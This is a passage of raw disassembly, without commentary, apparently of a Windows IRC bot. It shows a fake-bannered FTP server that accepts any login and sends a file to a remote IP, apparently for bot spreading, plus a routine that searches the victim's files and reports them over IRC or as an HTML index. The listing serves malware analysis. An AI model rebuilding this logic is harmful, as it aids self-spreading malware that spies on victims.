sub_404210+35j test byte ptr [esi+0Ch], 10h push esi jz short loc_404249 call sub_416E7D pop ecx push dword_439F00 call dword_422218 ; closesocket call dword_42221C ; WSACleanup xor eax, eax inc eax loc_40429F: ; CODE XREF: sub_404210+37j pop esi leave retn sub_404210 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_4042A2 proc near ; DATA XREF: sub_401141+24Eo var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = byte ptr -238h var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0A6Ch mov eax, [ebp+74h+arg_0] push ebx push esi push edi mov esi, eax xor ebx, ebx inc ebx mov ecx, 0A9h lea edi, [ebp+74h+var_6DC] rep movsd mov [eax+2A0h], ebx lea eax, [ebp+74h+var_A6C] push eax xor esi, esi push 101h mov [ebp+74h+var_18], ebx mov [ebp+74h+var_1C], ebx mov [ebp+74h+var_228], esi mov [ebp+74h+var_438], esi call dword_422204 ; WSAStartup push esi call sub_4177B0 push eax call sub_416B24 mov eax, [ebp+74h+arg_0] mov eax, [eax+214h] pop ecx pop ecx push esi push ebx push 2 mov dword_439F04, eax call dword_422208 ; socket mov ebx, eax push 4 lea eax, [ebp+74h+var_18] push eax push 4 push 0FFFFh push ebx mov [ebp+74h+var_8], ebx call dword_4221E0 ; setsockopt lea eax, [ebp+74h+var_1C] push eax push 8004667Eh push ebx call dword_4221E4 ; ioctlsocket xor eax, eax mov ax, word ptr dword_439F04 mov [ebp+74h+var_38], 2 mov [ebp+74h+var_34], esi push eax call dword_422210 ; ntohs mov [ebp+74h+var_36], ax push 10h lea eax, [ebp+74h+var_38] push eax push ebx call dword_4221E8 ; bind test eax, eax jl loc_40483C push 0Ah push ebx call dword_4221EC ; listen push 41h pop ecx xor eax, eax push eax push eax push eax lea eax, [ebp+74h+var_438] mov [ebp+74h+var_224], ebx mov [ebp+74h+var_4], ebx push eax inc ebx lea esi, [ebp+74h+var_228] lea edi, [ebp+74h+var_438] mov [ebp+74h+var_228], 1 push ebx rep movsd call dword_4221F0 ; select cmp eax, 0FFFFFFFFh jz loc_40483C mov ebx, dword_422200 loc_4043C1: ; CODE XREF: sub_4042A2+594j xor esi, esi cmp [ebp+74h+var_4], esi mov [ebp+74h+arg_0], esi jl loc_40480B loc_4043CF: ; CODE XREF: sub_4042A2+563j push 19h pop ecx xor eax, eax push 19h lea edi, [ebp+74h+var_29C] rep stosd pop ecx lea edi, [ebp+74h+var_AC] rep stosd lea eax, [ebp+74h+var_438] push eax push esi call sub_421930 ; __WSAFDIsSet test eax, eax jz loc_4047FE cmp esi, [ebp+74h+var_8] jnz short loc_404469 push 10h pop edi lea eax, [ebp+74h+var_24] push eax lea eax, [ebp+74h+var_238] push eax push [ebp+74h+var_8] mov [ebp+74h+var_24], edi call dword_4221F8 ; accept cmp eax, 0FFFFFFFFh jz loc_4047FE mov edx, [ebp+74h+var_228] xor ecx, ecx test edx, edx jbe short loc_40443B loc_40442D: ; CODE XREF: sub_4042A2+197j cmp [ebp+ecx*4+74h+var_224], eax jz short loc_40443B inc ecx cmp ecx, edx jb short loc_40442D loc_40443B: ; CODE XREF: sub_4042A2+189j ; sub_4042A2+192j cmp ecx, edx jnz short loc_404451 cmp edx, 40h jnb short loc_404451 mov [ebp+ecx*4+74h+var_224], eax inc [ebp+74h+var_228] loc_404451: ; CODE XREF: sub_4042A2+19Bj ; sub_4042A2+1A0j cmp eax, [ebp+74h+var_4] jle short loc_404459 mov [ebp+74h+var_4], eax loc_404459: ; CODE XREF: sub_4042A2+1B2j push 0 push edi push offset a220Winftpd1_2 ; "220 WinFtpd 1.2\n" push eax call ebx ; send jmp loc_4047FE ; --------------------------------------------------------------------------- loc_404469: ; CODE XREF: sub_4042A2+15Aj push 0 push 64h lea eax, [ebp+74h+var_29C] push eax push esi call dword_4221FC ; recv test eax, eax jg short loc_4044C7 mov ecx, [ebp+74h+var_228] xor eax, eax test ecx, ecx jbe short loc_4044BB loc_40448B: ; CODE XREF: sub_4042A2+1F5j cmp [ebp+eax*4+74h+var_224], esi jz short loc_4044B0 inc eax cmp eax, ecx jb short loc_40448B jmp short loc_4044BB ; --------------------------------------------------------------------------- loc_40449B: ; CODE XREF: sub_4042A2+211j mov ecx, [ebp+eax*4+74h+var_220] mov [ebp+eax*4+74h+var_224], ecx mov ecx, [ebp+74h+var_228] inc eax loc_4044B0: ; CODE XREF: sub_4042A2+1F0j dec ecx cmp eax, ecx jb short loc_40449B dec [ebp+74h+var_228] loc_4044BB: ; CODE XREF: sub_4042A2+1E7j ; sub_4042A2+1F7j push esi call dword_422218 ; closesocket jmp loc_4047FE ; --------------------------------------------------------------------------- loc_4044C7: ; CODE XREF: sub_4042A2+1DBj lea eax, [ebp+74h+var_334] push eax lea eax, [ebp+74h+var_AC] push eax lea eax, [ebp+74h+var_29C] push offset aSS_1 ; "%s %s" push eax call sub_416B53 add esp, 10h push 5 pop edx mov edi, offset aUser_0 ; "USER" lea esi, [ebp+74h+var_AC] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_404506 push eax push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4047E9 ; --------------------------------------------------------------------------- loc_404506: ; CODE XREF: sub_4042A2+255j mov edi, offset aPass ; "PASS" lea esi, [ebp+74h+var_AC] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_404523 push eax push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4047E9 ; --------------------------------------------------------------------------- loc_404523: ; CODE XREF: sub_4042A2+272j mov edi, offset aSyst ; "SYST" lea esi, [ebp+74h+var_AC] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_404540 push eax push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_4047E9 ; --------------------------------------------------------------------------- loc_404540: ; CODE XREF: sub_4042A2+28Fj mov edi, offset aRest ; "REST" lea esi, [ebp+74h+var_AC] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_40455D push eax push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4047E9 ; --------------------------------------------------------------------------- loc_40455D: ; CODE XREF: sub_4042A2+2ACj push 4 mov edi, offset off_4231D8 lea esi, [ebp+74h+var_AC] pop ecx xor eax, eax repe cmpsb jnz short loc_40457B push eax push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4047E9 ; --------------------------------------------------------------------------- loc_40457B: ; CODE XREF: sub_4042A2+2CAj mov eax, offset aType ; "TYPE" mov ecx, edx mov edi, eax lea esi, [ebp+74h+var_AC] xor edx, edx repe cmpsb jnz short loc_4045AE push 2 mov edi, offset aA_0 ; "A" lea esi, [ebp+74h+var_334] pop ecx xor edx, edx repe cmpsb jnz short loc_4045AE push edx push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4047E9 ; --------------------------------------------------------------------------- loc_4045AE: ; CODE XREF: sub_4042A2+2E9j ; sub_4042A2+2FDj mov edi, eax push 5 pop eax lea esi, [ebp+74h+var_AC] mov ecx, eax xor edx, edx repe cmpsb jnz short loc_4045DF push 2 mov edi, offset aI ; "I" lea esi, [ebp+74h+var_334] pop ecx xor edx, edx repe cmpsb jnz short loc_4045DF push edx push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4047E9 ; --------------------------------------------------------------------------- loc_4045DF: ; CODE XREF: sub_4042A2+31Aj ; sub_4042A2+32Ej mov edi, offset aPasv ; "PASV" lea esi, [ebp+74h+var_AC] mov ecx, eax xor edx, edx repe cmpsb jnz short loc_40461E push 0Ah pop ecx mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... lea edi, [ebp+74h+var_124] rep movsd lea eax, [ebp+74h+var_124] movsw lea edx, [eax+1] loc_40460A: ; CODE XREF: sub_4042A2+36Dj mov cl, [eax] inc eax test cl, cl jnz short loc_40460A sub eax, edx push 0 push eax lea eax, [ebp+74h+var_124] jmp short loc_404652 ; --------------------------------------------------------------------------- loc_40461E: ; CODE XREF: sub_4042A2+34Bj mov edi, offset aList ; "LIST" lea esi, [ebp+74h+var_AC] mov ecx, eax xor edx, edx repe cmpsb mov ecx, eax jnz short loc_404658 mov esi, offset a226TransferCom ; "226 Transfer complete\n" lea edi, [ebp+74h+var_C4] rep movsd movsw lea eax, [ebp+74h+var_C4] movsb lea edx, [eax+1] loc_404643: ; CODE XREF: sub_4042A2+3A6j mov cl, [eax] inc eax test cl, cl jnz short loc_404643 sub eax, edx push 0 push eax lea eax, [ebp+74h+var_C4] loc_404652: ; CODE XREF: sub_4042A2+37Aj push eax jmp loc_4047E9 ; --------------------------------------------------------------------------- loc_404658: ; CODE XREF: sub_4042A2+38Cj mov edi, offset aPort ; "PORT" lea esi, [ebp+74h+var_AC] xor edx, edx repe cmpsb jnz loc_40471C lea eax, [ebp+74h+var_2D0] push eax lea eax, [ebp+74h+var_F8] push eax lea eax, [ebp+74h+var_28] push eax lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_14] push eax lea eax, [ebp+74h+var_C] push eax lea eax, [ebp+74h+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_416B53 lea eax, [ebp+74h+var_F8] push eax call sub_416D02 mov esi, eax lea eax, [ebp+74h+var_2D0] push eax call sub_416D02 push 0Ch mov edx, eax pop ecx xor eax, eax lea edi, [ebp+74h+var_F8] rep stosd push edx push esi stosw lea eax, [ebp+74h+var_F8] push offset aXX ; "%x%x\n" push eax call sub_416975 push 10h lea eax, [ebp+74h+var_F8] push 0 push eax call sub_417799 mov [ebp+74h+var_10], eax add esp, 44h lea eax, [ebp+74h+var_28] push eax lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_14] push eax lea eax, [ebp+74h+var_C] push eax lea eax, [ebp+74h+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_416975 add esp, 18h push 0 push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_4047E9 ; --------------------------------------------------------------------------- loc_40471C: ; CODE XREF: sub_4042A2+3C2j mov edi, offset aRetr ; "RETR" lea esi, [ebp+74h+var_AC] mov ecx, eax xor edx, edx repe cmpsb jnz loc_4047D1 push edx push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push [ebp+74h+arg_0] call ebx ; send push [ebp+74h+var_10] lea eax, [ebp+74h+var_48] push eax call sub_404193 cmp eax, 1 pop ecx pop ecx jnz short loc_4047C6 call sub_404210 cmp eax, 1 jnz loc_4047EE xor esi, esi push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push [ebp+74h+arg_0] call ebx ; send lea eax, [ebp+74h+var_6D8] push eax lea eax, [ebp+74h+var_48] push eax lea eax, [ebp+74h+var_8DC] push offset aFtpFileTransfe ; "[FTP]: File transfer complete to IP: %s"... push eax call sub_416975 add esp, 10h cmp [ebp+74h+var_440], esi jnz short loc_4047B7 push esi push [ebp+74h+var_444] lea eax, [ebp+74h+var_8DC] push eax lea eax, [ebp+74h+var_4C4] push eax push [ebp+74h+var_6DC] call sub_405D62 add esp, 14h loc_4047B7: ; CODE XREF: sub_4042A2+4F0j lea eax, [ebp+74h+var_8DC] push eax call sub_401F0F pop ecx jmp short loc_4047EE ; --------------------------------------------------------------------------- loc_4047C6: ; CODE XREF: sub_4042A2+4ACj push 0 push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4047E9 ; --------------------------------------------------------------------------- loc_4047D1: ; CODE XREF: sub_4042A2+488j mov ecx, eax mov edi, offset aQuit ; "QUIT" lea esi, [ebp+74h+var_AC] xor eax, eax repe cmpsb jnz short loc_4047EE push eax push 0Dh push offset a221Goodbye_ ; "221 Goodbye.\n" loc_4047E9: ; CODE XREF: sub_4042A2+25Fj ; sub_4042A2+27Cj ... push [ebp+74h+arg_0] call ebx ; send loc_4047EE: ; CODE XREF: sub_4042A2+4B6j ; sub_4042A2+522j ... mov esi, [ebp+74h+arg_0] push 19h pop ecx xor eax, eax lea edi, [ebp+74h+var_29C] rep stosd loc_4047FE: ; CODE XREF: sub_4042A2+151j ; sub_4042A2+179j ... inc esi cmp esi, [ebp+74h+var_4] mov [ebp+74h+arg_0], esi jle loc_4043CF loc_40480B: ; CODE XREF: sub_4042A2+127j push 41h pop ecx xor eax, eax push eax push eax push eax lea eax, [ebp+74h+var_438] push eax mov eax, [ebp+74h+var_4] inc eax lea esi, [ebp+74h+var_228] lea edi, [ebp+74h+var_438] push eax rep movsd call dword_4221F0 ; select cmp eax, 0FFFFFFFFh jnz loc_4043C1 loc_40483C: ; CODE XREF: sub_4042A2+C9j ; sub_4042A2+113j pop edi xor eax, eax pop esi inc eax pop ebx add ebp, 74h leave retn 4 sub_4042A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404849 proc near ; CODE XREF: sub_405163+149p ; sub_409848+3F36p var_598 = byte ptr -598h var_494 = byte ptr -494h var_38C = dword ptr -38Ch var_378 = byte ptr -378h var_36C = dword ptr -36Ch var_360 = byte ptr -360h var_24C = byte ptr -24Ch var_4C = byte ptr -4Ch var_24 = byte ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 598h push ebx push esi push edi push 41h pop ecx xor eax, eax lea edi, [ebp+var_598] rep stosd mov edi, [ebp+arg_0] xor ebx, ebx push offset asc_4236F0 ; "\n" push edi mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_4177E9 cmp [ebp+arg_8], ebx pop ecx pop ecx jz short loc_4048A2 push edi push [ebp+arg_8] mov esi, 200h push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" lea eax, [ebp+var_24C] push esi push eax call sub_416BCD add esp, 14h jmp loc_4049BF ; --------------------------------------------------------------------------- loc_4048A2: ; CODE XREF: sub_404849+34j cmp [ebp+arg_C], ebx jz loc_4049A4 mov eax, edi lea ecx, [eax+1] loc_4048B0: ; CODE XREF: sub_404849+6Cj mov dl, [eax] inc eax test dl, dl jnz short loc_4048B0 push edi sub eax, ecx and [eax+edi-1], dl push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... mov esi, 200h lea eax, [ebp+var_24C] push esi push eax call sub_416BCD lea eax, [ebp+var_24C] add esp, 10h lea ecx, [eax+1] loc_4048E1: ; CODE XREF: sub_404849+9Dj mov dl, [eax] inc eax test dl, dl jnz short loc_4048E1 push ebx sub eax, ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_24C] push esi push eax call sub_416BCD lea eax, [ebp+var_24C] add esp, 10h lea ecx, [eax+1] loc_40491B: ; CODE XREF: sub_404849+D7j mov dl, [eax] inc eax test dl, dl jnz short loc_40491B push ebx sub eax, ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send mov eax, edi lea ecx, [eax+1] loc_40493B: ; CODE XREF: sub_404849+F7j mov dl, [eax] inc eax test dl, dl jnz short loc_40493B push 3Ch push 96h push 0E6h sub eax, ecx push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... mov byte ptr [eax+edi], 2Ah lea eax, [ebp+var_24C] push esi push eax call sub_416BCD lea eax, [ebp+var_24C] add esp, 18h lea ecx, [eax+1] loc_404972: ; CODE XREF: sub_404849+12Ej mov dl, [eax] inc eax test dl, dl jnz short loc_404972 push ebx sub eax, ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_24C] push esi push eax call sub_416BCD add esp, 0Ch jmp short loc_4049BF ; --------------------------------------------------------------------------- loc_4049A4: ; CODE XREF: sub_404849+5Cj push edi push offset aSearchingForS ; "Searching for: %s\r\n" mov esi, 200h lea eax, [ebp+var_24C] push esi push eax call sub_416BCD add esp, 10h loc_4049BF: ; CODE XREF: sub_404849+54j ; sub_404849+159j lea eax, [ebp+var_24C] lea edx, [eax+1] loc_4049C8: ; CODE XREF: sub_404849+184j mov cl, [eax] inc eax test cl, cl jnz short loc_4049C8 push ebx sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send mov eax, [ebp+arg_C] cmp eax, ebx jz loc_404A72 lea edx, [eax+1] loc_4049F1: ; CODE XREF: sub_404849+1ADj mov cl, [eax] inc eax test cl, cl jnz short loc_4049F1 sub eax, edx cmp eax, 2 jbe short loc_404A72 mov eax, [ebp+arg_C] lea edx, [eax+1] loc_404A05: ; CODE XREF: sub_404849+1C1j mov cl, [eax] inc eax test cl, cl jnz short loc_404A05 sub eax, edx add eax, 0FFFFFFFDh cmp eax, ebx jz short loc_404A21 loc_404A15: ; CODE XREF: sub_404849+1D6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_404A21 dec eax jnz short loc_404A15 loc_404A21: ; CODE XREF: sub_404849+1CAj ; sub_404849+1D3j inc eax push eax push [ebp+arg_C] lea eax, [ebp+var_598] push eax call sub_416A00 lea eax, [ebp+var_598] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_24C] push esi push eax call sub_416BCD lea eax, [ebp+var_24C] add esp, 1Ch lea ecx, [eax+1] loc_404A57: ; CODE XREF: sub_404849+213j mov dl, [eax] inc eax test dl, dl jnz short loc_404A57 push ebx sub eax, ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send loc_404A72: ; CODE XREF: sub_404849+19Fj ; sub_404849+1B4j lea eax, [ebp+var_38C] push eax push edi call dword_422054 ; FindFirstFileA lea ecx, [ebp+var_38C] push ecx push eax mov [ebp+var_C], eax call dword_422050 ; FindNextFileA test eax, eax jz loc_404E9F mov ebx, 1FFh loc_404A9E: ; CODE XREF: sub_404849+650j cmp [ebp+var_38C], 0 jz loc_404E87 push 3 mov edi, offset a__ ; ".." lea esi, [ebp+var_360] pop ecx xor eax, eax repe cmpsb jz loc_404E87 push 2 mov edi, offset a__0 ; "." lea esi, [ebp+var_360] pop ecx xor eax, eax repe cmpsb jz loc_404E87 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_378] push eax call dword_422068 ; FileTimeToLocalFileTime lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax call dword_422064 ; FileTimeToSystemTime mov ax, [ebp+var_14] cmp ax, 0Ch mov ecx, offset aPm ; "PM" ja loc_404B9C mov ecx, offset aAm ; "AM" movzx eax, ax loc_404B15: ; CODE XREF: sub_404849+359j push ecx movzx ecx, [ebp+var_12] push ecx push eax movzx eax, [ebp+var_1C] push eax movzx eax, [ebp+var_16] push eax movzx eax, [ebp+var_1A] push eax lea eax, [ebp+var_4C] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_416975 add esp, 20h xor edi, edi test byte ptr [ebp+var_38C], 10h jz loc_404CEB inc [ebp+var_8] cmp [ebp+arg_8], edi jz short loc_404BA7 lea eax, [ebp+var_360] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_494] push 106h push eax call sub_416BCD lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_494] push eax push [ebp+arg_8] lea eax, [ebp+var_24C] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push 200h push eax call sub_416BCD add esp, 28h jmp loc_404E53 ; --------------------------------------------------------------------------- loc_404B9C: ; CODE XREF: sub_404849+2BEj movzx eax, ax sub eax, 0Ch jmp loc_404B15 ; --------------------------------------------------------------------------- loc_404BA7: ; CODE XREF: sub_404849+308j cmp [ebp+arg_C], edi jz loc_404CA5 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_24C] push ebx push eax call sub_416BCD lea eax, [ebp+var_24C] add esp, 10h lea esi, [eax+1] loc_404BD3: ; CODE XREF: sub_404849+38Fj mov cl, [eax] inc eax test cl, cl jnz short loc_404BD3 push edi sub eax, esi push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send lea eax, [ebp+var_360] push eax push [ebp+arg_C] lea eax, [ebp+var_24C] push offset aSS_2 ; "%s%s/" push ebx push eax call sub_416BCD lea eax, [ebp+var_24C] add esp, 14h lea esi, [eax+1] loc_404C16: ; CODE XREF: sub_404849+3D2j mov cl, [eax] inc eax test cl, cl jnz short loc_404C16 push edi sub eax, esi push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send lea eax, [ebp+var_360] lea esi, [eax+1] loc_404C3A: ; CODE XREF: sub_404849+3F6j mov cl, [eax] inc eax test cl, cl jnz short loc_404C3A sub eax, esi cmp eax, 1Eh lea eax, [ebp+var_360] push eax lea eax, [ebp+var_24C] jbe short loc_404C5C push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_404C61 ; --------------------------------------------------------------------------- loc_404C5C: ; CODE XREF: sub_404849+40Aj push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_404C61: ; CODE XREF: sub_404849+411j push ebx push eax call sub_416BCD lea eax, [ebp+var_24C] add esp, 10h lea edx, [eax+1] loc_404C74: ; CODE XREF: sub_404849+430j mov cl, [eax] inc eax test cl, cl jnz short loc_404C74 push edi sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send push 3Ch lea eax, [ebp+var_4C] push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push ebx jmp loc_404E44 ; --------------------------------------------------------------------------- loc_404CA5: ; CODE XREF: sub_404849+361j lea eax, [ebp+var_360] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_494] push 106h push eax call sub_416BCD lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_494] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_404CD2: ; CODE XREF: sub_404849+4CAj lea eax, [ebp+var_24C] push 200h push eax call sub_416BCD add esp, 24h jmp loc_404E53 ; --------------------------------------------------------------------------- loc_404CEB: ; CODE XREF: sub_404849+2FCj inc [ebp+var_4] cmp [ebp+arg_8], edi jz short loc_404D15 push edi push [ebp+var_36C] call sub_4031A4 push eax lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_360] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_404CD2 ; --------------------------------------------------------------------------- loc_404D15: ; CODE XREF: sub_404849+4A8j cmp [ebp+arg_C], edi jz loc_404E29 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_24C] push ebx push eax call sub_416BCD lea eax, [ebp+var_24C] add esp, 10h lea esi, [eax+1] loc_404D41: ; CODE XREF: sub_404849+4FDj mov cl, [eax] inc eax test cl, cl jnz short loc_404D41 push edi sub eax, esi push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send lea eax, [ebp+var_360] push eax push [ebp+arg_C] lea eax, [ebp+var_24C] push offset aSS ; "%s%s" push ebx push eax call sub_416BCD lea eax, [ebp+var_24C] add esp, 14h lea esi, [eax+1] loc_404D84: ; CODE XREF: sub_404849+540j mov cl, [eax] inc eax test cl, cl jnz short loc_404D84 push edi sub eax, esi push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send lea eax, [ebp+var_360] lea esi, [eax+1] loc_404DA8: ; CODE XREF: sub_404849+564j mov cl, [eax] inc eax test cl, cl jnz short loc_404DA8 sub eax, esi cmp eax, 1Fh lea eax, [ebp+var_360] push eax lea eax, [ebp+var_24C] jbe short loc_404DCA push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_404DCF ; --------------------------------------------------------------------------- loc_404DCA: ; CODE XREF: sub_404849+578j push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_404DCF: ; CODE XREF: sub_404849+57Fj push ebx push eax call sub_416BCD lea eax, [ebp+var_24C] add esp, 10h lea edx, [eax+1] loc_404DE2: ; CODE XREF: sub_404849+59Ej mov cl, [eax] inc eax test cl, cl jnz short loc_404DE2 push edi sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send mov eax, [ebp+var_36C] shr eax, 0Ah push eax push 3Ch lea eax, [ebp+var_4C] push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_24C] push ebx push eax call sub_416BCD add esp, 1Ch jmp short loc_404E53 ; --------------------------------------------------------------------------- loc_404E29: ; CODE XREF: sub_404849+4CFj push [ebp+var_36C] lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_360] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push 200h loc_404E44: ; CODE XREF: sub_404849+457j lea eax, [ebp+var_24C] push eax call sub_416BCD add esp, 18h loc_404E53: ; CODE XREF: sub_404849+34Ej ; sub_404849+49Dj ... lea eax, [ebp+var_24C] lea edx, [eax+1] loc_404E5C: ; CODE XREF: sub_404849+618j mov cl, [eax] inc eax test cl, cl jnz short loc_404E5C push edi sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send cmp [ebp+arg_8], edi jz short loc_404E87 push 0FAh call dword_422000 ; Sleep loc_404E87: ; CODE XREF: sub_404849+25Cj ; sub_404849+274j ... lea eax, [ebp+var_38C] push eax push [ebp+var_C] call dword_422050 ; FindNextFileA test eax, eax jnz loc_404A9E loc_404E9F: ; CODE XREF: sub_404849+24Aj push [ebp+var_C] call dword_42204C ; FindClose xor esi, esi cmp [ebp+arg_8], esi jz short loc_404EE4 mov eax, [ebp+var_8] cdq push edx push eax call sub_4031A4 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_4031A4 pop ecx pop ecx push eax push [ebp+arg_8] lea eax, [ebp+var_24C] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_416975 add esp, 14h jmp short loc_404F12 ; --------------------------------------------------------------------------- loc_404EE4: ; CODE XREF: sub_404849+664j cmp [ebp+arg_C], esi lea eax, [ebp+var_24C] jz short loc_404EFE push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_416975 pop ecx pop ecx jmp short loc_404F12 ; --------------------------------------------------------------------------- loc_404EFE: ; CODE XREF: sub_404849+6A4j push [ebp+var_8] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_416975 add esp, 10h loc_404F12: ; CODE XREF: sub_404849+699j ; sub_404849+6B3j lea eax, [ebp+var_24C] lea edx, [eax+1] loc_404F1B: ; CODE XREF: sub_404849+6D7j mov cl, [eax] inc eax test cl, cl jnz short loc_404F1B push esi sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_43A458 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_404849 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F3D proc near ; CODE XREF: sub_405163+12Bp var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch push ebx push esi xor esi, esi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov [ebp+var_4], 400h mov [ebp+var_C], esi call dword_422034 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_404FFA push esi push ebx call dword_422094 ; GetFileSize mov edx, eax cmp edx, esi mov [ebp+var_8], edx jz short loc_404FF3 push edi jmp short loc_404F8B ; --------------------------------------------------------------------------- loc_404F88: ; CODE XREF: sub_404F3D+B3j mov edx, [ebp+var_8] loc_404F8B: ; CODE XREF: sub_404F3D+49j xor eax, eax cmp [ebp+var_4], edx mov ecx, 100h lea edi, [ebp+var_40C] rep stosd jbe short 